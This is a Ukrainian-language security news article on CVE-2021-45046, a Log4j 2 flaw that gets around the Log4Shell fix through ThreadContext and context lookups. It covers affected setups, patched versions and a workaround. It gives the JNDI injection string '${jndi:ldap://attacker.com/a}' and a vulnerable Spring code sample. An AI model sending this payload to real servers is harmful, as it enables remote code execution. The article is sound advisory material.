У реалізації підстановок JNDI у бібліотеці Log4j 2 виявлено ще одну вразливість (CVE-2021-45046), що виявляється незважаючи на додані у випуск 2.15 виправлення та незалежно від використання налаштування «log4j2.noFormatMsgLookup» для захисту. Проблема представляє небезпеку в основному для старих версій Log4j 2, захищених за допомогою прапора "noFormatMsgLookup", оскільки дає можливість обійти захист від минулої вразливості (Log4Shell, CVE-2021-44228), що дозволяє виконати свій код на сервері. Для користувачів версії 2.15 експлуатація обмежується створенням умов для аварійного завершення програми через вичерпання доступних ресурсів.
Вразливість проявляється тільки на системах, у яких під час журналювання використовуються контекстні запити (Context Lookup), такі як ${ctx:loginId}, або MDC-шаблони (Thread Context Map), наприклад %X, %mdc і %MDC. Експлуатація зводиться до створення умов для виведення в балку даних, що містять підстановки JNDI, при використанні в додатку контекстних запитів або MDC-шаблонів, що визначають правила форматування виведення в балку.
Дослідники з компанії LunaSec зазначили, що для версій Log4j менше 2.15 дана вразливість може використовуватися як новий вектор для атаки Log4Shell, що призводить до виконання коду, якщо при виведенні в лог використовуються вирази ThreadContext, які потрапляють зовнішні дані, незалежно від включення для захисту прапора. noMsgFormatLookups» або шаблон «%m{nolookups}».
Обхід захисту зводиться до того, що замість прямої підстановки "${jndi:ldap://attacker.com/a}", цей вираз підставляється через значення проміжної змінної, яка використовується в правилах форматування виведення в балку. Наприклад, якщо при виведенні в лог використовується контекстний запит ${ctx:apiversion}, то атака може бути проведена через підстановку даних ${jndi:ldap://attacker.com/a} у значення, що записується в змінну apiversion. Приклад вразливого коду: appender.console.layout.pattern = ${ctx:apiversion} — %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L — %m%n @ GetMapping("/") public String index(@RequestHeader("X-Api-Version") String apiVersion) { // Значення HTTP-заголовка "X-Api-Version" передається в ThreadContext ThreadContext.put("apiversion", apiVersion ); // При виведенні в лог зовнішнє значення apiversion буде оброблено за допомогою підстановки ${ctx:apiversion} logger.info(Received a request for API version); return «Hello, world!»; }
У версії Log4j 2.15 вразливість може використовуватися для здійснення DoS-атак при передачі ThreadContext значень, що призводять до зациклювання обробки шаблону форматування виведення.
Для блокування вразливості опубліковано оновлення 2.16 та 2.12.2. У гілці Log4j 2.16, крім реалізованих у версії 2.15 виправлень та прив'язки JNDI LDAP-запитів до «localhost», за замовчуванням повністю відключено функціональність JNDI та видалено підтримку шаблонів підстановки повідомлень. Як обхідний шлях захисту запропоновано видалити клас JndiLookup з classpath (наприклад, "zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class").
Простежити за появою виправлень у пакетах можна на сторінках дистрибутивів (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) та виробників Java-платформ (GitHub, Docker, Oracle, vmWare, Broadcom та Amazon/AWS, Juniper, VMware, Cisco, IBM , Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure і т.д.).
Джерело: opennet.ru